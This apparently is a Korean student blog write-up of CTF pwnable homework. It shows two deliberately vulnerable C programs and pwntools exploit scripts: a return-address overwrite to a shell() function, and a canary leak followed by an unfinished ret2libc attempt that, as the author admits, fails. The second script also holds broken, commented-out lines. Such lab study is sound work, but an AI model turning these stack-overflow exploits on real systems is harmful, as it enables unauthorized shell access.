이 문제는 여러 가지 메뉴를 선택하여 장비 관리 시스템에 대해 여러 행위를 취하는 프로그램이다.

//Stage3 of BOF expedition
//Compile : gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -no-pie -o stage3 stage3.c

#include<stdio.h>
#include<stdlib.h>

int check_value = 0;

void shell()
{
    check_value = 1;
    printf("You Open the Armory Door!\n\n");
    system("/bin/sh");
}

void Power_Supply()
{
    printf("Armory lights up!\n\n");
}

void Power_cut_off()
{
    printf("The lights go out in the armory!\n\n");
}

void Weapon_Select()
{
    int weapon_choice;

    if(check_value != 1)
    {
        printf("You must be open the door!\n\n");
    }
    else
    {
        printf("Weapon List\n");
        printf("[1] Knife\n");
        printf("[2] Gun\n");
        printf("[3] Frying Pan\n");
        printf("[4] Baseball Bet\n");

        printf("Select a Weapon : ");
        scanf("%d", &weapon_choice);

        switch (weapon_choice) {
        case 1:
            printf("[Knife] I got it!\n\n");
            break;
        case 2:
            printf("[Gun] I got it!\n\n");
            break;
        case 3:
            printf("[Frying Pan] I got it!\n\n");
            break;
        case 4:
            printf("[Baseball] I got it!\n\n");
            break;
        default:
            printf("Wrong input!\n");
            break;
        }
    }
}

void Open_Door()
{
    char password[20];

    printf("Enter Password : ");
    scanf("%s", password);
}

void Close_Door()
{
    if(check_value ==  0)
    {
        printf("The door is already closed\n\n");
    }
}

void Check_Security_System_Log()
{
    printf("Arch:     i386-32-little\n");
    printf("RELRO:    Partial RELRO\n");
    printf("Stack:    No canary found\n");
    printf("NX:       NX unknown - GNU_STACK missing\n");
    printf("PIE:      No PIE\n");
    printf("Stack:    Executable\n");
    printf("RWX:      Has RWX segments\n\n");
}

void print_menu()
{
    printf("Armory Management System\n");
    printf("<Menu>\n");
    printf("[0] Turn Off Armory Management System\n");
    printf("[1] Power Supply\n");
    printf("[2] Power cut-off\n");
    printf("[3] Weapon Select\n");
    printf("[4] Check the security system log\n");
    printf("[5] Open Door\n");
    printf("[6] Close Door\n\n");
}

int main(void)
{
    int select_menu;

    print_menu();

    while(1)
    {
        printf("Select Menu : ");
        scanf("%d", &select_menu);

        if(select_menu == 0)
        {
            break;
        }
        else if(select_menu == 1)
        {
            Power_Supply();
        }
        else if(select_menu == 2)
        {
            Power_cut_off();
        }
        else if(select_menu == 3)
        {
            Weapon_Select();
        }
        else if(select_menu == 4)
        {
            Check_Security_System_Log();
        }
        else if(select_menu == 5)
        {
            Open_Door();
            puts(" ");
        }
        else if(select_menu == 6)
        {
            Close_Door();
        }
        else
        {
            printf("Wrong input!\n");
            break;
        }
    }
}

 

위에는 문제의 소스코드이다. 위 코드를 굳이 다 분석할 필요가 없다. 어떤 함수가 쓰였는지 코드를 보면 취약점이 보일 것이다.

 

void Open_Door()
{
    char password[20];

    printf("Enter Password : ");
    scanf("%s", password);
}

 

Open_Door 함수를 확인해보면 입력을 scanf로 받는 것을 확인할 수 있는데 이는 사이즈 제한이 없어 충분히 복귀 주소를 변경할 수 있다. checksec으로 보호 기법을 확인해보자.

 

Breaking_Through_for_Survival@hsapce-io:~$ checksec ./stage3
[*] '/home/Breaking_Through_for_Survival/stage3'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

 

위 내역을 보면 거의 모든 보호 기법이 적용 안 되어 있는 것을 확인할 수 있으며 카나리 또한 적용 안 된 거도 알 수 있다. 그러므로 오프셋 사이에 거리를 사용하여 나머지를 더미 데이터로 덮고 반환 주소를 shell 함수의 주소로 덮으면 쉘을 얻을 수 있다.

 

from pwn import *

p = process(["./stage3"], stdin=PTY, stdout=PTY)
elf = ELF("./stage3")

payload = b"A" * 0x18
payload += b"B" * 0x4
payload += p32(elf.symbols["shell"])

p.sendlineafter(b"Select Menu : ", b"5")
p.sendafter(b" : ", payload)

p.interactive()

 

 

 

 

Chall 6

이 문제는 문자열 배열의 인덱스를 정하여 해당하는 문자열을 수정하는 프로그램이다.

//gcc -o prob prob.c -fstack-protector -no-pie
#include <stdio.h>

void menu(){
    puts("1. read diary");
    puts("2. write diary");
    puts("3. put down the diary");
    printf("> ");
}

int main(){
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    int ch, index = 0;
    char page1[] = "As soon as I arrived here, I locked the door tightly.\nCatching my breath, it feels like a miracle that I managed to escape safely.";
    char page2[] = "Looking around, there isn't much food left.\nTo survive, I'll have to go out again soon.";
    char page3[] = "I checked my weapons and packed the necessary supplies in my bag.\nAccording to rumors I heard outside, there's a vaccine at a nearby lab.";
    char page4[] = "As I headed out, I could hear the zombies' cries.\nMy heart was pounding wildly, but I moved quietly.";
    char page5[] = "At that moment, a zombie suddenly attacked me.\nAs I checked the bite wound on my arm, I realized that the vaccine at the lab was now my last hope.";
    char hidden[] = "Failed, failed, failed, failed, failed, faile... itchy, tasty";
    char* diary[] = {page1, page2, page3, page4, page5, hidden};\
    puts("");
    printf("  ██████  █    ██  ██▀███   ██▒   █▓ ██▓ ██▒   █▓ ▒█████   ██▀███    ██████    ▓█████▄  ██▓ ▄▄▄       ██▀███ ▓██   ██▓\n");
    printf("▒██    ▒  ██  ▓██▒▓██ ▒ ██▒▓██░   █▒▓██▒▓██░   █▒▒██▒  ██▒▓██ ▒ ██▒▒██    ▒    ▒██▀ ██▌▓██▒▒████▄    ▓██ ▒ ██▒▒██  ██▒\n");
    printf("░ ▓██▄   ▓██  ▒██░▓██ ░▄█ ▒ ▓██  █▒░▒██▒ ▓██  █▒░▒██░  ██▒▓██ ░▄█ ▒░ ▓██▄      ░██   █▌▒██▒▒██  ▀█▄  ▓██ ░▄█ ▒ ▒██ ██░\n");
    printf("  ▒   ██▒▓▓█  ░██░▒██▀▀█▄    ▒██ █░░░██░  ▒██ █░░▒██   ██░▒██▀▀█▄    ▒   ██▒   ░▓█▄   ▌░██░░██▄▄▄▄██ ▒██▀▀█▄   ░ ▐██▓░\n");
    printf("▒██████▒▒▒▒█████▓ ░██▓ ▒██▒   ▒▀█░  ░██░   ▒▀█░  ░ ████▓▒░░██▓ ▒██▒▒██████▒▒   ░▒████▓ ░██░ ▓█   ▓██▒░██▓ ▒██▒ ░ ██▒▓░\n");
    printf("▒ ▒▓▒ ▒ ░░▒▓▒ ▒ ▒ ░ ▒▓ ░▒▓░   ░ ▐░  ░▓     ░ ▐░  ░ ▒░▒░▒░ ░ ▒▓ ░▒▓░▒ ▒▓▒ ▒ ░    ▒▒▓  ▒ ░▓   ▒▒   ▓▒█░░ ▒▓ ░▒▓░  ██▒▒▒\n");
    printf("░ ░▒  ░ ░░░▒░ ░ ░   ░▒ ░ ▒░   ░ ░░   ▒ ░   ░ ░░    ░ ▒ ▒░   ░▒ ░ ▒░░ ░▒  ░ ░    ░ ▒  ▒  ▒ ░  ▒   ▒▒ ░  ░▒ ░ ▒░▓██ ░▒░\n");
    printf("░  ░  ░   ░░░ ░ ░   ░░   ░      ░░   ▒ ░     ░░  ░ ░ ░ ▒    ░░   ░ ░  ░  ░      ░ ░  ░  ▒ ░  ░   ▒     ░░   ░ ▒ ▒ ░░\n\n");

    while(1){
        menu();
        scanf("%d", &ch);
        if (ch == 1){
            printf("index (0~4) : ");
            scanf("%d", &index);
            if (index >= 6 || index < 0){
                puts("invalid index");
                continue;
            }
            puts(diary[index]);
        }
        else if (ch == 2){
            printf("index (0~4) : ");
            scanf("%d", &index);
            if (index >= 6 || index < 0){
                puts("invalid index");
                continue;
            }
            printf("content > ");
            read(0, diary[index], 0x100);
        }
        else if (ch == 3){
            break;
        }
    }
    puts("Ok let's go!");
    return 0;
}

 

이 프로그램에서 입력하는 부분에 BOF가 터진다. 왜냐하면 read를 통해 원래 버퍼보다 더 많은 데이터를 받기 때문이다. 이 프로그램에서 가장 RBP와 가까운 값은 인덱스 4이다. 그러므로 이 인덱스 4번을 이용하여 더미 데이터를 씌어 카나리를 출력할 수 있다.

 

# 0x7fffffffde60 rbp-0xa0

from pwn import *

context.log_level = "debug"

p = process("./ch6")
elf = ELF("./ch6")
libc = p.libc

leak_canary = b"A" * 0x99
# leak_canary = b"A" * 0x59

pause()
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b" : ", b"4")
p.sendafter(b"> ", leak_canary)

pause()
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b" : ", b"4")


p.recvn(0x99)
canary = b"\x00" + p.recvn(7)


leak_libc_start = b"A" * 0x98
leak_libc_start += b"B" * 0x8
leak_libc_start += b"C" * 0x8
leak_libc_start += b"D" 
# libc_start = p.recvn(6) + b"\x00" * 2
libc_base = u64(libc_start) - libc.symbols["__libc_start_call_main"] - 117
libc_base = 0x7ffff7c276a0 - elf.symbols["__libc_start_main"] - 137

print(f"canary: {hex(u64(canary))}")
# print(f"libc_start: {hex(u64(libc_start) - 117)}")
print(f"libc base: {hex(libc_base)}")
# 0x7ffff7c00000

pause()

payload = b"A" * 0x98 + canary
payload += b"B" * 0x8
payload += p64(0x7ffff7c276a0 - 137 + 0x2c460)

p.sendlineafter(b"> ", b"2")
p.sendlineafter(b" : ", b"4")
p.sendafter(b"> ", payload)

p.sendlineafter(b"> ", b"3")

p.interactive()

 

이 코드에서는 카나리가 정상적으로 출력된다. 하지만 카나리를 얻고 이제 쉘을 얻어야 하지만 결국 얻지 못했다. 처음에 쉘 함수가 주어지지 않는 것을 보고 Libc를 구해야 하는 줄 알았다. 그러나 더미 데이터가 __libc_start_main에 닫지 못해서 유출시킬 수 없었다. 그래서 스택에 있는 main 함수 주소를 가져와보려 했으나 오프셋 주소여서 실패했다. 그 다음엔 __libc_start_call_main을 유출시키고 계산하려 했으나 심볼이 없기에 오프셋을 구할 수 없어 실패했다.

 

libc를 구하는 걸 실패해서 GOP Overwrite 등 여러 방법을 사용하려 했으나 ROPgadget으로 확인해보니 직접적으로 쓸 수 있는 리턴 가젯이 하나도 없었다...

 

그래서 이 문제는 카나리만 구하고 쉘을 구하진 못했다.

 

 

2. Obese Canary

풀이를 적고 싶으나 여백이 부족하여 적지 않겠다.

'과제' 카테고리의 다른 글

[Layer7] Layer7 CTF Write-up  (0) 2025.11.16
[Layer7] Pwnable 2차시 문제 풀이  (0) 2025.10.26
[Layer7] Web CTF Write-up  (0) 2025.08.05
[Layer7] 리버싱 8차시 문제 풀이  (0) 2025.07.12
[Layer7] 리버싱 7차시 과제  (0) 2025.06.23
'과제' 카테고리의 다른 글
  • [Layer7] Layer7 CTF Write-up
  • [Layer7] Pwnable 2차시 문제 풀이
  • [Layer7] Web CTF Write-up
  • [Layer7] 리버싱 8차시 문제 풀이
Lambda
Lambda
집 가고 싶다.
  • Lambda
    Lambda's Notebook
    Lambda
  • 전체
    오늘
    어제
    • 분류 전체보기 (40)
      • 포너블 (2)
      • 과제 (17)
      • 정리 (16)
      • 리버싱 (1)
      • 리눅스 (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
Lambda
[Layer7] Pwnable 4차시 문제 풀이
상단으로

티스토리툴바